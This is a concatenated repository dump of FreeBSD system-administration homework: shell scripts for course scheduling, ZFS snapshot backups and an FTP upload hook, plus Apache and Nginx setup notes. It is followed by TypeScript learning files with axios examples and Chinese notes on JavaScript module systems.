dialog --clear --msgbox "************ Class no collision ************
`cat tmp_output`" 50 65
rm -f tmp_output
}
FindCourse() {
local mode input time day
exec 3>&1
mode=$(dialog --clear --menu "Find course by..." 10 20 8 \
1 "Name" \
2 "Time" 2>&1 1>&3)
if [ $? -eq 0 ] ; then
input=$(dialog --clear --inputbox "Please enter something" 10 30 2>&1 1>&3)
case $mode in
1)
# Find by name.
dialog --clear --msgbox "`sed "1d" $Class | awk -F '"' '{print $2}' | grep -E " - .*$input"`" 50 80
;;
2)
# Find by time.
sed "1d" $Class | awk -F '"' '{print $2}' > tmp_output
day="10"
time=`echo $input | sed -e '1,$ s/\(.\)/\1 /g'`
for i in $time ; do
case $i in
[1-7])
day=$i
cat tmp_output | grep -E "$day[MNABCDXEFGHYIJKL]" > tmp
mv tmp tmp_output
;;
[MNABCDXEFGHYIJKL])
if [ $day -eq 10 ] ; then
dialog --clear --msgbox "******** Bad input!! *********" 10 40
rm -f tmp_output
return 1
fi
cat tmp_output | grep -E "$day[MNABCDXEFGHYIJKL]*$i" > tmp
mv tmp tmp_output
;;
*)
dialog --clear --msgbox "******** Bad input!! *********" 10 40
rm -f tmp_output
return 1
;;
esac
done
dialog --clear --msgbox "`cat tmp_output`" 50 80
rm -f tmp_output
;;
esac
fi
}
UpdateClass() {
sed -i '' -e "/on$/ s/on$/off/g" $Class
for i in $1 ; do
sed -i '' -e "/^$i / s/off$/on/g" $Class
done
}
while true ; do
# Get user options.
option=`GetOption`
# Fill course name into schedule.
cp $Base_Schedule $Schedule
usr_course_id=`cat $Class | grep -E " on$" | awk -F ' ' '{print $1}'`
for i in $usr_course_id ; do
# Output course name or classroom or both.
cos_output=`CourseOutputFormat $i | tr -d ' '`
cos_time=`GetTime $i | sed -e '1,$ s/\(.\)/\1 /g'`
for j in $cos_time ; do
case $j in
[0-7])
day=$j
;;
*)
FillClass "$cos_output" $day $j
;;
esac
done
done
# Delete Sat. and Sun. according to user configuration.
if [ "`echo $option | grep "3"`" = "" ] ; then
cat $Schedule | cut -c 1-$(($B_width*5 + 2)) > tmp
mv tmp $Schedule
fi
# Delete NMXY rows according to user configuration.
if [ "`echo $option | grep "4"`" = "" ] ; then
for i in N M X Y ; do
sed -i '' -E -e "/^$i /,/^= / s/^.*$//g" -e "/^$/d" $Schedule
done
fi
dialog --clear \
--ok-label "Add Schedule" \
--extra-button --extra-label "Options" \
--help-button --help-label "Exit" \
--textbox $Schedule 100 100
case $? in
$Add_class)
# "origin" stores classes which are already on.
origin=`cat $Class | grep -E "on$" | awk -F ' ' '{print $1}'`
exec 3>&1
while true ; do
get_class=$(dialog --clear --file $Class 2>&1 1>&3)
retval=$?
# Show class without collision.
if [ $retval -eq 3 ] ; then
ShowNoCollision "$get_class"
continue
fi
# Allow user to find course by keyword.
if [ $retval -eq 2 ] ; then
FindCourse
continue
fi
if [ "$get_class" = "" ] ; then
# Restore class when cancel add class.
UpdateClass "$origin"
break
fi
# Write selected selected class from off to on. Even it has collision.
UpdateClass "$get_class"
# Check collision
IsCollision "$get_class"
if [ $? -eq 0 ] ; then
break
fi
done
;;
$Options)
while true ; do
exec 3>&1
get_option=$(dialog --clear --file $User_config 2>&1 1>&3)
# Exit when select "cancel".
if [ $? == 1 ] ; then
break
fi
# Must select "show name" or "show class".
if [ "`echo $get_option | grep -E "[12]"`" = "" ] ; then
dialog --clear --msgbox 'Must select one of "Show course name" or "Show class room" !!' 10 60
else
# Write user option into file.
get_option=`echo $get_option | tr -d ' '`
sed -i '' "1,$ s/ on$/ off/g" $User_config
sed -i '' "/^[$get_option] / s/ off$/ on/g" $User_config
break
fi
done
;;
$Exit)
break
;;
esac
done
<file_sep>/HW04/README.md
SA Homework 04
===
林正偉
----
### Outline
- Apache Server
- Nginx Server
---
## Apache Server
* Remind: If you have any problem starting an apache server, "/var/log/httpd-error.log" is very helpful.
----
### Install
```shell=
cd /usr/ports/www/apacheXX # XX is the version of apache server.
sudo make install clean
```
----
### Get Domain Name
- Goto [https://www.nctucs.net/](https://www.nctucs.net)
- Login by NCTU student account.
- Hosts > Create hosts
- Host: your_domain_name
- Record: your_server's_ip_address
- Edit `/usr/local/etc/apacheXX/httpd.conf`.
- ServerName your_domain_name:80
----
### Check Working
- Portforwarding if you use VM.
- port 80: HTTP
- port 443: HTTPS
- Customize port number
- Type domain name or ip address on your browser.
- Success: show "Its works"
- Failed: page not found
----
### Virtual Host
- Setup name-based virtual hosts.
- Share same ip address.
- Different server's name show different contents.
- Create document root.
- All access to the server will be rooted under this directory.
- EX: /usr/local/www/your_domain_name_document_root
- Edit `/usr/local/etc/apacheXX/extra/httpd-vhosts.conf`.
- DocumentRoot "path/to/your_document_root"
- In this HW you need 2 different document root.
- One for access from ip address.
- Another for access from domain name.
- ServerName your_server's_name
- Different server's name but share the same ip address.
- The first virtual host in the config file is the default host.
- In this HW you need 2 server's name.
- your_domain_name
- your_ip_address
- ServerAlias: alias server's name.
- ErrorLog
- CustomLog
- EX
```
<VirtualHost *:80>
DocumentRoot "your_document_root_for_domain_name"
ServerName your_domain_name
ServerAlias http://your_domain_name
</VirtualHost>
<VirtualHost *: 80>
DocumentRoot "your_document_root_for_ip_address"
ServerName your_ip_address
</VirtualHost>
```
- Edit `/usr/local/etc/apacheXX/httpd.conf`.
- Uncomment `Include etc/apacheXX/extra/httpd-vhosts.conf`.
- Trouble shooting: No Permission access.
- Edit `/usr/local/etc/apacheXX/httpd.conf`.
- Directory should be "Require all granted".
```
<Directory "your_document_root">
AllowOverride None
Require all granted
</Directory>
```
----
### Indexing
- If you want to let other people visit your directory, you need to add `index.html` in it.
- EX
```htmlmixed=
<html><body><h1><pre>Welcome</pre></h1></body></html>
```
- Create directory /public.
- Add index.html
- EX
```htmlmixed=
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /public</title>
</head>
<body>
<h1>Index of /public</h1>
<ul>
<li><a href="/"> Parent Directory</a></li>
<li><a href="test1"> test1</a></li>
<li><a href="test2"> test2</a></li>
<li><a href="test3"> test3</a></li>
</ul>
</body>
</html>
```
- Create file: test1, test2, test3
----
### htaccess
- Create directory /public/admin and its index.html file.
- Create user and password.
- Create a directory where user can't access.
- EX: If your_document_root is "/usr/local/www/test", you can create a directory "/usr/local/www/passwd"
- `sudo htpasswd -c path/to/passwd/your_passwd_file username`
- In this HW "username" is "admin".
- Edit `/usr/local/etc/apacheXX/httpd.conf`.
```
<Directory "your_document_root/public/admin">
AllowOverride AuthConfig
AuthType Basic
AuthName "Things you want to tell the user. EX: hint."
AuthBasicProvider file
AuthUserFile "path/to/passwd/your_passwd_file"
Require user admin
</Directory>
```
- [Reference](http://httpd.apache.org/docs/2.4/howto/auth.html)
----
### Reverse Proxy
- Edit `/usr/local/etc/apacheXX/httpd.conf`.
- Uncomment
- `LoadModule watchdog_module libexec/apacheXX/mod_watchdog.so`
- `LoadModule proxy_module libexec/apacheXX/mod_proxy.so`
- `LoadModule proxy_http_module libexec/apacheXX/mod_proxy_http.so`
- `LoadModule proxy_balancer_module libexec/apacheXX/mod_proxy_balancer.so`
- `LoadModule proxy_hcheck_module libexec/apacheXX/mod_proxy_hcheck.so`
- `LoadModule slotmem_shm_module libexec/apacheXX/mod_slotmem_shm.so`
- `LoadModule lbmethod_byrequests_module libexec/apacheXX/mod_lbmethod_byrequests.so`
- `Include etc/apacheXX/extra/httpd-default.conf`
- Add
```
<Proxy balancer://myset>
BalancerMember http://other_domain_name1
BalancerMember http://other_domain_name2
</Proxy>
ProxyPass "/public/reverse/" "balancer://myset/"
ProxyPassReverse "/public/reverse/" "balancer://myset/"
```
- [Reference](http://httpd.apache.org/docs/2.4/howto/reverse_proxy.html)
----
### Hide Server Token
- Install mod_security
```shell=
cd /usr/ports/www/mod_security
make install clean
```
- Edit `/usr/local/etc/apacheXX/modules.d/280_mod_security.conf`.
- Uncomment last 3 lines.
```
LoadModule unique_id_module libexec/apacheXX/mod_unique_id.so
LoadModule security2_module libexec/apacheXX/mod_security2.so
Include /usr/local/etc/modsecurity/*.conf
```
- Edit `/usr/local/etc/apacheXX/httpd.conf`.
- Add
```
ServerTokens Full
SecServerSignature server's_name_you_want
```
- [Reference](https://vannilabetter.blogspot.com/2017/12/freebsd-apachephp.html)
----
### HTTPS
- Edit `/usr/local/etc/apacheXX/httpd.conf`.
- Uncomment
- `LoadModule socache_shmcb_module libexec/apacheXX/mod_socache_shmcb.so`
- `LoadModule ssl_module libexec/apacheXX/mod_ssl.so`
- `Inclue etc/apacheXX/extra/httpd-ssl.conf`
- Create ssl certificate file and key.
- `openssl req -newkey rsa:2048 -nodes -keyout key.key -x509 -days 365 -out certificate.crt`
- Review the created certificate
- `openssl x509 -text -noout -in certificate.crt`
- Edit `/usr/local/etc/apacheXX/extra/httpd-ssl.conf`.
- Change
- `DocumentRoot`
- `ServerName`
- `SSLEngin on`
- `SSLCertificateFile "path/to/certificate.crt"`
- `SSLCertificateKeyFile "path/to/key.key"`
- [Reference](https://vannilabetter.blogspot.com/2017/12/freebsd-apachephp.html)
----
### Auto redirect
- Edit `/usr/local/etc/apacheXX/extra/httpd-vhosts.conf`.
- Add `Redirect "/" "https://your_domain_name"` in your virtual host.
- [Reference](https://vannilabetter.blogspot.com/2017/12/freebsd-apachephp.html)
---
## Nginx
----
### Install
- Use pkg: Can't customize server token.
```shell=
sudo pkg install nginx
```
- If you want to customize server token, you need to download the tarball or zip file from [here](https://github.com/openresty/headers-more-nginx-module). Configure it by yourself. I didn't try it haha XD
- Use ports:
```shell=
cd /usr/ports/www/nginx
sudo make install clean
```
- Select `headers-more-nginx-module` while configuring. (To hide server token)

- You can modify the source code to hide the server token either.
----
### Getting Start
- Read the document [Beginner's guide](https://nginx.org/en/docs/beginners_guide.html)
----
### Virtual Host
- Edit `/usr/local/etc/nginx/nginx.conf`.
- Add these in http context. (If you don't know what is a context, please refer to the beginner's guide)
```
# Domain name server.
server {
listen 80;
server_name your_domain_name;
location / {
root your_domain_name's_document_root;
index index.html index.htm;
}
}
# IP address server.
server {
listen 80;
server_name 172.16.17.32;
location / {
root your_IP_address's_document_root;
index index.html index.htm;
}
}
```
- [Reference](https://nginx.org/en/docs/http/request_processing.html)
----
### Indexing
- Same as apache server.
- If you use the same document root as your apache server, you don't have to do anything.
----
### htaccess
- Edit `/usr/local/etc/nginx/nginx.conf`.
- Add these in your server context.
```
location /public/admin/ {
root your_document_root;
index index.html index.htm;
auth_basic "<PASSWORD> you want to tell the user.";
auth_basic_user_file path/to/your_user_file;
}
```
- You can use the same user file as your apache server.
- [Reference](https://docs.nginx.com/nginx/admin-guide/security-controls/configuring-http-basic-authentication/)
----
### Reverse Proxy
- Edit `/usr/local/etc/nginx/nginx.conf`.
- Add these in your http context.
```
upstream backend {
server http://other_domain_name1;
server http://other_domain_name2;
}
```
- Add these in your server context.
```
location /publib/reverse/ {
root your_document_root;
index index.html index.htm;
proxy_pass http://backend/;
}
```
- References
- [Load Balance](https://docs.nginx.com/nginx/admin-guide/load-balancer/http-load-balancer/)
- [Reverse Proxy](https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/)
----
### Hide Server Token
- Method 1: Use `headers-more-nginx-module`.
- Install module: `headers-more-nginx-module`.
- Install by ports
- Download it from github and compile it.
- Load module we installed.
- Add it in the beginning of `/usr/local/etc/nginx/nginx.conf`.
```
load_module path/to/your_module/ngx_http_headers_more_filter_module.so;
```
- If you install the module by ports, the default path will show on the screen while installing it.
- But, I know you won't fucking care about this information.
- Default path: /usr/local/libexec/nginx/.
- Change the server token.
- Add it in the server context.
```
more_set_headers "Server: name_you_prefer";
```
- [Reference](https://github.com/openresty/headers-more-nginx-module#more_set_headers)
- Method 2: Edit source code.
- Edit source code.
- Extract `/usr/ports/distfiles/nginx-1.14.1.tar.gz`.
- Edit `nginx-1.14.1/src/http/ngx_http_header_filter_module.c`.
- Modify line 49 - 51.
```C=49
static u_char ngx_http_server_string[] = "Server: tree_HTTP_Server" CRLF;
static u_char ngx_http_server_full_string[] = "Server: tree_HTTP_Server" CRLF;
static u_char ngx_http_server_build_string[] = "Server: tree_HTTP_Server" CRLF;
```
- Compress it: `tar zcvf nginx-1.14.1.tar.gz nginx-1.14.1/`
- Calculate checksum and size.
```shell=
openssl dgst -sha256 nginx-1.14.1.tar.gz # Get checksum.
ls -l | grep nginx-1.14.1.tar.gz # Get size.
```
![Uploading file..._fr4i1nf4u]()
- Edit `/usr/ports/www/nginx/distinfo`.
- Modify the checksum and size of nginx-1.14.1.tar.gz
- Reinstall nginx.
```shell=
## Stop nginx if it is running.
## sudo service nginx stop
cd /usr/ports/www/nginx/
sudo make deinstall
sudo make install clean
```
- Restart nginx.
```shell=
sudo service nginx start
```
----
### HTTPS
- User can use same certificate and key as your apache server.
- Copy your certificate and key under `/usr/local/etc/nginx/`.
- If you store them under other directory, you need to use full path on the later configuration.
- Edit `/usr/loca/etc/nginx/nginx.conf`.
- Add these in http context.
```
server {
listen 443 ssl;
server_name your_domain_name;
ssl_certificate your_certificate;
ssl_certificate_key your_key;
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
.
.
.
same as above (EX: location ...)
.
.
.
}
```
- [Reference](https://docs.nginx.com/nginx/admin-guide/security-controls/terminating-ssl-http/)
----
### Auto Redirection
- Edit `/usr/loca/etc/nginx/nginx.conf`.
- Add these in http context.
```
server {
listen 80;
server_name your_domain_name;
return 302 https://$host$request_uri;
}
```
- [Reference](https://serversforhackers.com/c/redirect-http-to-https-nginx)
---
<file_sep>/HW03/zbackup
#!/bin/sh
dataset=""
id=""
filename=""
rotate_cnt=""
# Check num valid.
Check_num() {
case $1 in
[0-9]*)
;;
'')
;;
*)
Error "Invalid ID number!!"
;;
esac
}
# Check dataset valid.
Check_dataset() {
for data in `zfs list | cut -d ' ' -f 1`; do
if [ $1 = $data ] ; then
return
fi
done
Error "Dataset does not exist!!"
}
# Create directory if it does not exist.
Check_dir() {
local path
path=`echo ${1} | cut -d '@' -f 1 | sed -e "s:/[^/]*$::g"`
if ! [ -d "${path}" ] ; then
# Create the directory.
mkdir -p ${path}
fi
}
Func_list() {
#id=$1
#Check_num $id
# If dataset doesn't exist, report error.
if ! [ -z "$dataset" ] ; then
Check_dataset $dataset
fi
printf "%-10s%-20s%s\n" "ID" "Dataset" "Time"
if [ -z "$dataset" ] ; then dataset=".*"; fi
zfs list -t snapshot | grep "^$dataset@" | \
awk -F "@|_| " '{printf "%-10d%-20s%s %s\n", NR, $1, $2, $3}' | \
sed -e 's/-/:/3' -e 's/-/:/3'
}
Func_delete() {
local snap_name
id=$1
Check_num $id
Check_dataset $dataset
snap_name=`zfs list -t snapshot | grep "^$dataset@" | cut -d ' ' -f 1`
if ! [ -z "$id" ] ; then
snap_name=`echo $snap_name | awk -v i=$id -F ' ' '{print $i}'`
fi
for snap in $snap_name; do
zfs destroy $snap
done
}
Func_export() {
local snap_name f_name
id=$1
Check_num $id
Check_dataset $dataset
if [ -z "$id" ] ; then id=1; fi # id default to 1.
snap_name=`zfs list -t snapshot | grep "^$dataset@" | cut -d ' ' -f 1 | awk -v i=$id '{if (NR==i) print $0}'`
if ! [ -z "$snap_name" ] ; then
f_name=`echo $snap_name | cut -d '_' -f 1`
f_name="/${f_name}"
# Create directory if it does not exist.
Check_dir "${f_name}"
zfs send ${snap_name} > ${f_name} && \
xz ${f_name} && \
openssl enc -aes-256-cbc -in ${f_name}.xz \
-out ${f_name}.xz.enc
rm ${f_name}.xz
fi
}
Func_import() {
local f_name timestamp
filename=$1
Check_dataset $dataset
if [ -z "$filename" ] ; then Error "Missing argument: filename!!"; fi
if ! [ -e "${filename}" ] ; then Error "File not found: ${filename}!!"; fi
# Decreption.
f_name=`echo $filename | awk -F '.' '{print $1"."$2}'`
openssl enc -d -aes-256-cbc -in "${filename}" -out "${f_name}"
# Decompression.
unxz $f_name
if [ $? -eq 1 ] ; then Error "Unable to decompress ${f_name}!!"; fi
f_name=`echo $f_name | cut -d '.' -f 1`
# Receive stream.
# First, delete all snapshots in dataset.
Func_delete
timestamp=`date "+%Y-%m-%d_%H-%M-%S"`
zfs receive -F ${dataset}@${timestamp} < ${f_name}
rm $f_name
}
Func_create() {
local snap_num timestamp snap_name
rotate_cnt=$1
Check_num $rotate_cnt
Check_dataset $dataset
if [ -z "$rotate_cnt" ] ; then rotate_cnt=20; fi
if [ $rotate_cnt -eq 0 ] ; then exit 0; fi
snap_num=`zfs list -t snapshot | grep $dataset | wc -l`
if [ $snap_num -ge $rotate_cnt ] ; then
# Rotate snapshot.
snap_name=`zfs list -t snapshot | grep $dataset | head -n $(($snap_num-$rotate_cnt+1)) | cut -d ' ' -f 1`
for snap in $snap_name; do
zfs destroy $snap
if [ $? -eq 0 ] ; then
echo "Rotate ${snap}" | \
sed -e 's/-/:/3' -e 's/-/:/3' -e 's/_/ /g'
fi
done
fi
timestamp=`date "+%Y-%m-%d_%H-%M-%S"`
zfs snapshot "${dataset}@${timestamp}"
if [ $? -eq 0 ] ; then echo "Snap ${dataset}@`date`"; fi
}
Error() {
echo "Error!!" $1
exit 0
}
# Get commands.
dataset=$2
case $1 in
--list)
# if [ -z "$dataset" ] ; then Error; fi
Func_list #$3
;;
--delete)
if [ -z "$dataset" ] ; then Error "Missing argument: dataset!!"; fi
Func_delete $3
;;
--export)
if [ -z "$dataset" ] ; then Error "Missing argument: dataset!!"; fi
Func_export $3
;;
--import)
if [ -z "$dataset" ] ; then Error "Missing argument: dataset!!"; fi
Func_import $3
;;
'')
Error "Missing argument!!"
;;
*)
dataset=$1
# if [ -z "$dataset" ] ;then Error "Missing argument: dataset!!"; fi
Func_create $2
;;
esac
<file_sep>/HW03/rc_script/ftp_watchd
#!/bin/sh
# PROVIDE: ftp_watchd
# REQUIRE: NETWORKING SERVERS pure-ftpd
# KEYWORD: <PASSWORD>
. /etc/rc.subr
name=ftp_watchd
rcvar=ftp_watchd_enable
load_rc_config $name
command=/usr/local/sbin/pure-uploadscript
pidfile_ftp_watchd=${pidfile_ftp_watchd:-"/var/run/pure-uploadscript.pid"}
uploadscript=${uploadscript:-"/tmp/uploadscript"}
command_args="-B -p ${pidfile_ftp_watchd} -r ${uploadscript}"
ftp_watchd_enable=${ftp_watchd_enable:-"no"}
ftp_watchd_command=${ftp_watchd_command:-"echo 'Hi' >> /tmp/hi"}
start_precmd=start_precmd
start_precmd() {
echo "#!/bin/sh" > ${uploadscript}
echo "${ftp_watchd_command}" >> ${uploadscript}
chmod 755 ${uploadscript}
}
run_rc_command "$1"
<file_sep>/README.md
# System_Administration
2018 Fall - Course - NCTU System Administration
<file_sep>/HW02/README.md
NCTU SA Homework 02
===
# Introduction
There are two parts in homework 02.
- Part 01: Filesystem Statistics.
- Part 02: Course Registration System.
# Part 01
## Requirements
- Inspect the current directory(“.”) and all sub-directory.
- Calculate the number of directories.
- Do not include ‘.’ and ‘..’.
- Calculate the number of files.
- Calculate the sum of all file size.
- List the top 5 biggest files.
- Only consider the regular file. Do not count in the link, FIFO, block device... etc.
## Restrictions
- Use **one-line** command.
- No temporary file or shell variables.
- No “&&” “||” “>” “>>” “<” “;” “&”, but you can use them in the awk command. Actually, you don’t need them to finish this homework.
- Only pipes are allowed.
## Result

# Part 02
## Requirements
- Download timetable from timetable.nctu.edu.tw using curl, do this step only when no data kept at local.
- List all courses, keep recording all selected courses and options (including after program restart). No modification if user select cancel while saving.
- Check time conflict and ask user to solve the conflict by reselect courses.
- Options for display:
- Course title or classroom number
- Sat. and Sun.
- Less important course time, such as NMXY.
- Output aligned chart.
- Display multi-line per grid.
- Display all classroom number in every grid if the course uses multiple classrooms.
- Course for free time (Show all current available courses).
- Course searching
- Search course name.
- Input: part of the course name.
- Output: all courses containing the search word in the course name.
- Search course time.
- Input: part of the course time.
- Output: all courses containing the search time.
## Results
⚠ Only work on FreeBSD ⚠


<file_sep>/HW03/zbackupd
#!/bin/sh
file_config="/usr/local/etc/zbackupd.yaml"
pid_file="/var/run/zbackup.pid"
be_daemon=""
#trap "Config_and_Start" SIGHUP
#trap "if [ -e ${pid_file} ]; then rm ${pid_file}; fi; exit 0" SIGTERM
Check_Dataset() {
for data in `zfs list | cut -d ' ' -f 1`; do
if [ ${1} = ${data} ] ; then
return
fi
done
Error "Dataset does not exist!!"
}
Check_Enable() {
if [ "${1}" = "false" ] ; then
return 1
elif [ "${1}" = "true" ] || [ -z "${1}" ] ; then
return 0
else
Error "Wrong enable value!!"
fi
}
Check_Int() {
local tmp
tmp=`echo ${1} | sed -e "/^[0-9]+$/ p"`
if [ -z "${tmp}" ] ; then
Error "Wrong rotation value!!"
fi
}
Check_Period() {
local tmp
tmp=`echo ${1} | sed -e "/^[0-9]+[smhdw]$/ p"`
if [ -z "${tmp}" ] ; then
Error "Wrong period value!!"
fi
}
Get_Config_Value() {
local retval
retval=`sed -n "${1},$ p" ${2} | grep -m 1 ${3} | awk '{print $2}' | tr -d " '"`
echo $retval
}
Start_CMD() {
# $1: period
# $2: backup command
local sec min hour day cmd tmp
# Deal with period.
value=`echo $1 | awk -F "s|m|h|d|w" '{print $1}'`
unit=`echo $1 | awk -F "${value}" '{print $2}'`
Check_Int "${value}"
cmd=$2
case ${unit} in
s)
$cmd
# Fork child process.
while true ; do
sleep ${value}
$cmd
done &
pid="${pid}$! "
;;
m)
$cmd
while true ; do
sleep $((${value} * 60))
$cmd
done &
pid="${pid}$! "
;;
h)
$cmd
while true ; do
sleep $((${value} * 3600))
$cmd
done &
pid="${pid}$! "
;;
d)
$cmd
while true ; do
sleep $((${value} * 86400))
$cmd
done &
pid="${pid}$! "
;;
w)
$cmd
while true ; do
sleep $((${value} * 604800))
$cmd
done &
pid="${pid}$! "
;;
*)
Error "Unknown error in function write crontab!!"
;;
esac
}
Error() {
echo "Error!! ${1}"
exit 0
}
Config_and_Start() {
pid=""
# Parse configure file.
for data_line in `cat ${file_config} | grep -n dataset | cut -d : -f 1` ; do
# Get dataset name.
dataset=`sed -n "${data_line} p" ${file_config} | awk '{print $3}' | tr -d " '"`
Check_Dataset "${dataset}"
# Get "enabled": true or false.
enable="`Get_Config_Value ${data_line} ${file_config} 'enabled'`"
if Check_Enable "${enable}" ; then
# Get rotation.
rotation="`Get_Config_Value ${data_line} ${file_config} 'rotation'`"
Check_Int "${rotation}"
backup_cmd="/usr/local/bin/zbackup ${dataset} ${rotation}"
# Get period.
period=`Get_Config_Value ${data_line} ${file_config} 'period'`
Check_Period "${period}"
Start_CMD "${period}" "${backup_cmd}"
fi
done
# Wait for child processes.
wait ${pid}
}
# Need root privilege.
if [ "`id -u`" -ne "0" ] ; then
Error "Permission denied!!"
fi
# Get arguments from input.
while getopts ":dc:p:" op ; do
case ${op} in
# Run zbackupd as daemon.
d)
be_daemon="yes"
;;
# Change configure file.
c)
file_config="${OPTARG}"
;;
# Change pid file.
p)
pid_file="${OPTARG}"
;;
*)
Error "Wrong arguments!!"
;;
esac
done
trap "Config_and_Start" SIGUSR1
trap "if [ -e ${pid_file} ]; then rm ${pid_file}; fi; exit 0" SIGTERM
# Check configure file exists or not.
if ! [ -e "${file_config}" ] ; then
Error "Configure file does not exist!!"
fi
# Is daemon running now?
if [ -e "${pid_file}" ] ; then
pid="`cat ${pid_file} | head -1`"
pid=`ps -o pid -axww | sed "1,$ s/^[ ]*//g" | grep "^${pid}$"`
if ! [ -z "${pid}" ] ; then
Error "Daemon is already running!!"
fi
fi
if [ "${be_daemon}" = "yes" ] ; then
/usr/local/bin/zbackupd -p ${pid_file} -c ${file_config} &
else
# Create pid file.
echo $$ > ${pid_file}
Config_and_Start
fi
| 2a3ad579aec76ff8b65814e54d96acbe531f7977 | [
"Markdown",
"Shell"
] | 10 | Markdown | lincw6666/System_Administration | 831c0eb7bdb9925378c9e987d77f4255996e8e77 | 315bf497cca01c51f6849947040df9a62d52c2e7 |
refs/heads/master | <file_sep># TS debug
TS debug 参考配置
注意修改调试的入口文件路径
```json
{
"version": "0.2.0",
"configurations": [
{
"name": "index",
"type": "node",
"request": "launch",
"args": [
"${workspaceRoot}/index.ts" // 入口文件
],
"runtimeArgs": ["--nolazy", "-r", "ts-node/register"],
"sourceMaps": true,
"cwd": "${workspaceRoot}",
"protocol": "inspector",
"console": "integratedTerminal",
"internalConsoleOptions": "neverOpen"
},
{
"name": "get",
"type": "node",
"request": "launch",
"args": [
"${workspaceRoot}/example/axios/get.ts" // 入口文件
],
"runtimeArgs": ["--nolazy", "-r", "ts-node/register"],
"sourceMaps": true,
"cwd": "${workspaceRoot}",
"protocol": "inspector",
"console": "integratedTerminal",
"internalConsoleOptions": "neverOpen"
},
{
"name": "post",
"type": "node",
"request": "launch",
"args": [
"${workspaceRoot}/example/axios/post.ts" // 入口文件
],
"runtimeArgs": ["--nolazy", "-r", "ts-node/register"],
"sourceMaps": true,
"cwd": "${workspaceRoot}",
"protocol": "inspector",
"console": "integratedTerminal",
"internalConsoleOptions": "neverOpen"
}
]
}
```
<file_sep>import axios from "axios";
/** 新闻 */
interface news {
/** _id,全球唯一 */
_id: string;
/** 标题 */
name: string;
/** 摘要 */
summary: string;
/** 图片列表,限制只有一张图片,索引只能取0 */
photoList: string[];
/** 日期为数字,需要转换为Date类型 */
date: number;
/** 文章对应的链接地址 */
url: string;
/** 作者 */
author: string;
}
/** 新闻列表接口 */
interface newsList {
/** 新闻总条数 */
count: number;
/** 真正的新闻列表 */
data: news[];
}
async function 获取新闻() {
let 回应 = await axios.get("http://govapi.pinza.com.cn/newsList");
console.log(回应.data);
let myNewsList = <newsList>回应.data;
}
获取新闻();
<file_sep>import axios from "axios";
async function 获取新闻() {
let 回应 = await axios.post("http://govapi.pinza.com.cn/newsList", {
skip: 0,
limit: 3
});
console.log(回应.data);
}
获取新闻();
<file_sep># 模块的黑历史
模块,我们就可以更方便地使用别人的代码,想要什么功能,就加载什么模块。
由于种种历史原因,ES (相比于其它工业级计算机语言)天生是一个残缺的计算机语言,但是它的职能(能灵活操纵 UI 是其他工业级计算机语言梦寐以求但是又难以得到的)和灵活的原型链机制注定他将茁壮成长。之后崛起的互联网崛起赋予了它无比强大的生命力。
由于历史上设计的原因,在历史潮流中 ES 拥有多种不同的模块化加载机制。
## 基础
> 浏览器 es 基础加载机制
> Node 与 CommonJS 加载机制
### 浏览器加载机制
浏览器将不同的 ES 语句放在 script 标签中,可以有多个标签,不同标签的 ES 语句在同一环境下运行,模块之间无隔离。
```html
<script>
let a = 1;
</script>
<script>
console.log(a); //可以正常访问到a
</script>
```
### Node 与 CommonJS 加载机制
Node 和 chrome 浏览器地层都是 google v8 执行 es, 但是由于 node 项目需要像其他计算机语言一样工程化(模块之间要隔离,只暴露出需要暴露的部分)
node 程序放在不同的文件里,用 require 函数加载模块。
```js
// modules.js
let a = 1;
modules.exports = {
a: a
};
```
```js
let a = require("modules.js");
console.log(a);
```
require 函数会将 modules.js 里面的代码读取出来,然后包裹在一个参数为 modules 的函数代码里面,然后编译并传一个参数进去,编译执行完成后返回这个参数这样就完成了模块的导出
```js
function warp(code) {
return `
function (exports) {
// 模块源码
${code}
};
`;
}
function runCode(warpedCode) {
let module = {
exports: undeined
};
compile(warpedCode, module);
return module.exports;
}
function require(path) {
let code = readFileSync(path);
let warpedCode = warp(code);
let exports = runCode(warpedCode);
return exports;
}
```
### 通用加载 Browserify
为浏览器也做个像 CommonJS 下的模块包装函数,那么 node 的模块就能在浏览器端也能使用了。
## 演进
以下这俩,我现在都不用,只是给你看一下
> amd(Asynchronous Module Definition)
> cmd
### AMD
在服务端模块加载是同步的,而在浏览器上读取文件时间会很长,这回会导致浏览器卡顿。
AMD 就给模块包装函数参数中加一个 callback,模块加载完后,调用回调,完。
RequireJS 就是实现了 AMD 规范的包装函数。
### CMD
由于异步加载会导致,程序执行的顺序和写的顺序不一致,会导致起来没有明显的 bug
所以 CMD 执行模块的顺序也是严格按照模块在代码中出现(require)的顺序,完。
## modules 标准与兼容模式 UMD
> ES modules
> UMD 兼容模式
### ES modules
在混乱之后,ES6-ES2015 标准定制全新的了 modules 标准,坑爹呢是吧。
理论上,前后端要慢慢迎来统一
```js
// modules.js
let a=1
export a
```
```js
import { a } from "modules.js";
console.log(a);
```
然而现实是残酷的,[浏览器端不给实现(chrome、firefox 都没),甚至连计划都没有](https://www.caniuse.com/#search=import)
<center>
<img :src="$withBase('/module/ai.png')" alt="图片未显示"></center>
但是,这个时候,社区的 webpack 等打包工具支持了,然后又多了一堆配置
<center>
<img :src="$withBase('/module/ai.png')" alt="图片未显示"></center>
### UMD 兼容模式
一个模块为了多模式兼容,太难了。给个办法吧!这个时候有了 UMD 规范。
UMD 需要判断当前加载环境,然后根据环境来进行执行不同的导出策略。
## Typescript
TS 有额外的类型,所以,一个 js 模块还要针对不同的情况有不同的声明
这里是[7 种模板](https://www.tslang.cn/docs/handbook/declaration-files/templates.html)
<center>
<img :src="$withBase('/module/ai.png')" alt="图片未显示"></center>
> 使用 module-function.d.ts,如果模块能够作为函数调用
> 使用 module-class.d.ts 如果模块能够使用 new 来构造
> 如果模块不能被调用或构造,使用 module.d.ts 文件
<file_sep># 数据的增删查改
数据的排列称为数组,数据的组合描述了对象所以称之为对象。
当在 ES||TS 中创建数组或象后,可以处理可数组相关的一系列的函数将会被追加到数组和对象可以使用的函数列表之中。
## 数组的操作
### 在数组开头增删
1. 增 `[].shift()`,返回增加后数组的长度
2. 删除 `[].unshift()`,并返回被删除的元素
### 在数组结尾增删
1. 增 `[].push()`,返回增加后数组的长度
2. 删除 `[].pop()`, 并返回被删除的元素
### 在任意位置增删
`[].splice()`
数组和对象将自动的可访问到
